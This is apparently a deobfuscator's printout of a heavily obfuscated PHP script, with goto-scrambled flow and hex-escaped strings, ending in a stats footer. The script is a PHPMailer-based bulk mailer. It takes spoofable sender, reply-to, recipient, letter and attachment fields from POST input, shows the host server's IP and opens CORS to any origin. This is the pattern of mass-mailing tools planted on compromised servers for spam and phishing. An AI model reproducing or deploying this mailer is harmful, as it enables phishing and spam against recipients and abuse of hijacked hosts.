$this->edebug("{$aGzj6}\x20\x45\162\162\157\x72\x20\x23{$xkLVV}\72\x20{$dDy7u}\x20\133{$tZvy9}\x20\154\151\x6e\145\40{$kQb8f}\135", self::o5nas); goto V2utL; yFQkY: $this->setError($aGzj6, $dDy7u, (string) $xkLVV); goto XjR63; KSAe7: $aGzj6 = "\x43\157\156\156\x65\143\164\x69\x6f\x6e\40\x66\x61\151\x6c\x65\x64\x2e"; goto yFQkY; V2utL: } protected function recordLastTransactionID() { goto Ue8s3; PAhxb: $this->last_smtp_transaction_id = false; goto vVjef; ydbeA: uY_hk: goto vUYkF; HzSrh: if (empty($gk5Bj)) { goto EzhB9; } goto PAhxb; NLvZh: $this->last_smtp_transaction_id = null; goto d5lmj; d5lmj: bl9SV: goto L5D6O; L5D6O: return $this->last_smtp_transaction_id; goto oWFAj; Ue8s3: $gk5Bj = $this->getLastReply(); goto HzSrh; vVjef: foreach ($this->smtp_transaction_id_patterns as $b3qnQ) { goto mZCVo; zmSYt: CAkx_: goto yTMBp; bLBlZ: $this->last_smtp_transaction_id = trim($LlSup[1]); goto ogo6T; mZCVo: if (!preg_match($b3qnQ, $gk5Bj, $LlSup)) { goto CAkx_; } goto bLBlZ; yTMBp: h1ZX4: goto rrlt9; ogo6T: goto uY_hk; goto zmSYt; rrlt9: } goto ydbeA; oG6st: EzhB9: goto NLvZh; vUYkF: goto bl9SV; goto oG6st; oWFAj: } public function getLastTransactionID() { return $this->last_smtp_transaction_id; } } goto ayVpR; k6JEr: function bEl3_() { goto gdbpA; aofGi: $s18bE->AddAttachment($_FILES["\141\164\164\x61\143\150\x6d\145\156\x74"]["\164\155\160\x5f\156\x61\155\145"][$Bkv4C], $_FILES["\x61\164\164\x61\143\150\x6d\145\x6e\164"]["\156\141\155\x65"][$Bkv4C]); goto MJ0pe; LSXMX: $s18bE->AltBody = $cH4jo; goto mZpbx; rwvGA: $s18bE->Priority = $YawiP; goto gtOK9; nJIHE: MDHze: goto uJAW5; MJ0pe: pU39u: goto fA8sz; bjMTk: BBr1r: goto qBKhZ; nt003: if (!(isset($wJr9D) && $wJr9D !== '')) { goto mBqYj; } goto f4CK_; NtqYB: $YawiP = $GLOBALS["\x65\155\141\151\154\x50\162\x69\x6f\x72\x69\164\x79"]; goto dCL3t; ZSh9j: $wJr9D = N1Vj2($GLOBALS["\x72\x65\x70\154\x79\124\x6f"], $GLOBALS["\162\145\x63\x69\x70\x69\x65\156\x74"]); goto cwiiY; IVyIa: if (!(isset($YawiP) && $YawiP !== '')) { goto zIr3j; } goto rwvGA; naE30: goto JzEaO; goto YkgDm; h3kFZ: eoxIW: goto j7wD5; x628A: $s4bph = N1vJ2($GLOBALS["\155\x65\163\x73\141\x67\x65\123\x75\142\152\x65\143\x74"], $GLOBALS["\162\145\x63\x69\160\x69\x65\x6e\x74"]); goto lALju; ePzPN: exit("\111\156\x63\x6f\162\162\x65\x63\x74\40\105\155\141\151\x6c"); goto h3kFZ; pp5RZ: $s18bE->Body = $qKvMM; goto bjMTk; QOJnk: etDNR: goto zTRHB; qBKhZ: if (!(isset($AKSdI) && $AKSdI !== '')) { goto ZBj2c; } goto LZdIk; dCL3t: $s18bE->setFrom($B4yT4, $ccwKe); goto nt003; zTRHB: exit($s18bE->ErrorInfo); goto nJIHE; mZpbx: nedsc: goto Yt8WD; dLqkk: ZBj2c: goto IVyIa; e48UM: VfADg: goto UxxVg; JRMcT: $cH4jo = N1vJ2($GLOBALS["\141\154\x74\115\145\163\163\141\147\145\114\x65\x74\164\x65\x72"], $GLOBALS["\x72\145\143\151\160\x69\x65\156\x74"]); goto N3EOA; f4CK_: $s18bE->addReplyTo($wJr9D); goto oA7jU; UrdgD: if (!(isset($cH4jo) && $cH4jo !== '')) { goto nedsc; } goto LSXMX; YkgDm: ZhXmk: goto RF5tc; AtZsG: $B4yT4 = n1Vj2($GLOBALS["\163\145\156\144\x65\162\x45\x6d\141\x69\x6c"], $GLOBALS["\162\145\x63\x69\160\x69\145\156\164"]); goto qvgv0; Ys90C: exit("\x4f\113"); goto vly7C; N3EOA: $AKSdI = $GLOBALS["\x65\156\x63\157\x64\151\156\147\124\171\x70\145"]; goto Jo6Xk; cwiiY: $cA6Tl = $GLOBALS["\162\145\143\151\x70\151\145\x6e\x74"]; goto x628A; Zhsho: $Bkv4C = 0; goto HTg7M; UxxVg: if (!(isset($qKvMM) && $qKvMM !== '')) { goto BBr1r; } goto pp5RZ; HTg7M: XVZJh: goto DO7Ke; bB0vI: $Bkv4C++; goto WkyAh; g4g78: $s18bE->addAddress($cA6Tl); goto c2nou; RnC2v: $s18bE->IsHTML(false); goto naE30; WkyAh: goto XVZJh; goto PcJc6; ysXJU: nbcRq: goto K48VW; fA8sz: vRbLW: goto bB0vI; PcJc6: dCcOj: goto ysXJU; DO7Ke: if (!($Bkv4C < count($_FILES["\x61\x74\x74\x61\x63\150\x6d\145\156\x74"]["\156\141\155\145"]))) { goto dCcOj; } goto d0xDf; qvgv0: $ccwKe = N1Vj2($GLOBALS["\x73\x65\x6e\x64\145\162\x4e\x61\x6d\145"], $GLOBALS["\x72\145\143\151\160\151\x65\x6e\x74"]); goto ZSh9j; d0xDf: if (!($_FILES["\x61\x74\x74\x61\143\x68\155\145\x6e\x74"]["\x74\x6d\x70\x5f\x6e\x61\155\145"][$Bkv4C] != '')) { goto pU39u; } goto aofGi; Jo6Xk: $b4RBh = $GLOBALS["\155\x65\x73\x73\141\x67\145\x54\171\x70\145"]; goto NtqYB; RF5tc: $s18bE->IsHTML(true); goto LBL27; vly7C: goto MDHze; goto QOJnk; S1uyf: if (!$s18bE->send()) { goto etDNR; } goto Ys90C; lALju: $qKvMM = n1Vj2($GLOBALS["\x6d\145\163\x73\x61\x67\x65\x4c\x65\x74\x74\145\162"], $GLOBALS["\x72\x65\x63\x69\x70\x69\x65\156\x74"]); goto JRMcT; K48VW: if ($b4RBh == "\150\x74\x6d\154") { goto ZhXmk; } goto RnC2v; gdbpA: if (P4u5V($GLOBALS["\x72\145\x63\x69\160\151\x65\156\164"])) { goto eoxIW; } goto ePzPN; oA7jU: mBqYj: goto g4g78; LBL27: JzEaO: goto S1uyf; c2nou: if (!(isset($s4bph) && $s4bph !== '')) { goto VfADg; } goto Dlr0A; gtOK9: zIr3j: goto UrdgD; Yt8WD: if (!isset($_FILES["\141\164\x74\x61\x63\x68\155\145\156\x74"])) { goto nbcRq; } goto Zhsho; j7wD5: $s18bE = Rs1sS(); goto AtZsG; LZdIk: $s18bE->CharSet = $AKSdI; goto dLqkk; Dlr0A: $s18bE->Subject = $s4bph; goto e48UM; uJAW5: } goto pjheB; MCYKv: echo $JQ8bC["\167\x65\x62\x73\x69\x74\x65"]; goto EXQwA; rI3Mz: $_SESSION[$Lb9QH] = ''; goto b0WLz; FrOX5: $jRul4 = y_QNk($_POST["\x6d\x65\163\x73\x61\x67\145\114\145\164\164\145\x72"]); goto aCn4_; ErDDs: header("\103\x61\143\150\x65\55\x43\x6f\156\164\162\x6f\x6c\x3a\x20\x70\157\163\x74\55\x63\150\145\143\153\75\x30\x2c\x20\160\162\145\x2d\143\x68\x65\x63\x6b\x3d\60", false); goto gZj4e; oWdrj: session_start(); goto YtCF1; zHbb2: header("\x41\x63\x63\145\x73\x73\x2d\x43\157\x6e\x74\162\157\154\x2d\101\x6c\154\157\x77\x2d\117\x72\x69\147\151\x6e\72\40\52"); goto ymLYr; juWAo: $YawiP = Y_qNk($_POST["\x65\x6d\x61\x69\x6c\x50\162\x69\x6f\162\151\x74\x79"]); goto UjDU6; Udxcu: echo basename($_SERVER["\120\x48\x50\x5f\123\105\x4c\106"]); goto lDoCJ; Ne44a: rrhGK: goto S1fac; dau_h: exit; goto FVzpz; YYDF_: echo $_SERVER["\123\x45\x52\x56\x45\122\x5f\x41\104\x44\122"]; goto fuvfk; gZj4e: header("\x50\162\141\x67\x6d\x61\x3a\x20\156\157\x2d\143\x61\143\150\145"); goto zHbb2; Eg4q4: echo "\x20\40\x20\x20\74\x64\151\166\40\143\x6c\x61\x73\x73\x3d\42\143\x6f\154\x2d\154\x67\55\66\42\x3e\74\142\162\x3e\xa\x20\x20\40\40\40\x20\40\x20\74\x6c\141\x62\x65\154\40\146\157\x72\x3d\42\167\x65\154\x6c\42\x3e\111\156\163\x74\162\165\x63\164\151\x6f\x6e\x3c\57\154\x61\x62\145\x6c\76\12\x20\40\x20\x20\x20\x20\x20\40\x3c\x64\x69\x76\x20\x69\x64\x3d\42\x77\145\154\x6c\42\x20\143\154\141\x73\163\x3d\x22\x77\x65\154\x6c\40\167\x65\154\154\x22\76\xa\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\74\150\64\x3e\x53\x65\162\x76\145\162\40\x49\156\x66\x6f\162\155\x61\164\151\157\156\74\x2f\x68\64\x3e\xa\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\74\165\x6c\76\xa\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\74\154\x69\76\123\x65\x72\x76\x65\x72\x49\x50\40\x3a\40\x3c\142\76\x20"; goto YYDF_; z3_Z8: $htb27 = $_SERVER["\120\110\x50\137\123\105\114\x46"]; goto AzikD; Rii2h: $Lb9QH = md5(__FILE__); goto pO0Ob; O6zYs: $GLOBALS["\155\x65\163\163\141\x67\145\x53\165\142\x6a\x65\x63\x74"] = stripslashes($jLuqI); goto TC94O; UjDU6: $GLOBALS["\145\x6d\141\x69\x6c\120\162\151\157\x72\x69\164\x79"] = stripslashes($YawiP); goto e0hHF; pjheB: function y_QnK($Yc9br) { return stripslashes(ltrim(rtrim($Yc9br))); } goto v5m75; AzikD: if (!(isset($_POST["\x61\143\x74\x69\157\x6e"]) && $_POST["\141\x63\164\151\157\156"] == "\163\x65\x6e\144")) { goto X8Cax; } goto hvxwp; vxTC9: $GLOBALS["\x73\x6d\x74\x70\101\x63\143\164"] = Y_QNK($_POST["\x73\155\164\160\x41\x63\143\164"]); goto aq1zl; ayVpR: class E213S extends Exception { public function errorMessage() { $vRf0b = "\x3c\163\x74\x72\157\156\147\x3e" . $this->getMessage() . "\74\x2f\163\x74\x72\157\x6e\x67\x3e\x3c\142\x72\x20\x2f\76\xa"; return $vRf0b; } } goto VUR9T; fDfnh: $GLOBALS["\145\x6e\143\x6f\x64\x69\x6e\x67\x54\x79\x70\145"] = stripslashes($v23Vu); goto juWAo; H7MwT: echo date("\x6d\x2f\144\57\x59\40\150\72\x69\72\x73\x20\x61", time()); goto t7vOA; S1fac: $_SESSION[$Lb9QH] = $ItTkM; goto I9WuO; IFWPC: $YrLQ5 = Y_Qnk($_POST["\141\154\x74\115\x65\x73\163\141\147\145\x4c\x65\164\164\145\162"]); goto xVqH9; E7TKP: echo $JQ8bC["\x76\x65\x72\x73\x69\x6f\x6e"]; goto Swlum; EXQwA: echo "\x3c\x2f\141\76\x3c\x2f\x62\x3e\x3c\57\150\66\76\xa\x20\40\x20\x20\x20\x20\x20\x20\74\x2f\144\151\x76\76\xa\xa\40\x20\40\40\40\x20\x20\40\74\x64\x69\x76\x20\x69\144\75\42\160\x72\157\147\162\x65\163\163\42\40\143\x6c\x61\x73\163\75\42\x63\157\154\x2d\x6c\x67\55\x31\66\42\x3e\xa\40\x20\x20\40\x20\40\x20\40\40\40\12\40\40\x20\x20\x20\40\40\x20\74\57\144\151\x76\x3e\xa\x20\x20\40\40\74\x2f\144\151\x76\76\12\40\12\74\x73\x63\x72\x69\160\164\76\12\x20\44\50\42\43\x62\164\x6e\123\164\x61\x72\164\x22\x29\x2e\x61\164\x74\162\x28\42\x64\x69\x73\141\x62\x6c\145\x64\x22\x2c\x20\x66\x61\154\x73\x65\x29\x3b\xa\40\x24\x28\x22\x23\142\x74\x6e\x53\164\x6f\160\42\x29\56\x61\x74\x74\162\x28\42\x64\151\x73\x61\142\x6c\x65\144\x22\54\40\164\x72\x75\x65\x29\x3b\xa\74\x2f\x73\143\x72\151\160\164\76\xa\74\x2f\x62\157\144\x79\x3e\12\x3c\146\x6f\157\164\145\162\76\74\x2f\x66\x6f\157\164\145\x72\x3e\xa\xa\x3c\57\x68\164\155\154\76";
Function Calls
None |
Stats
MD5 | 0a8cc41cd6b2256228505d591295c401 |
Eval Count | 0 |
Decode Time | 186 ms |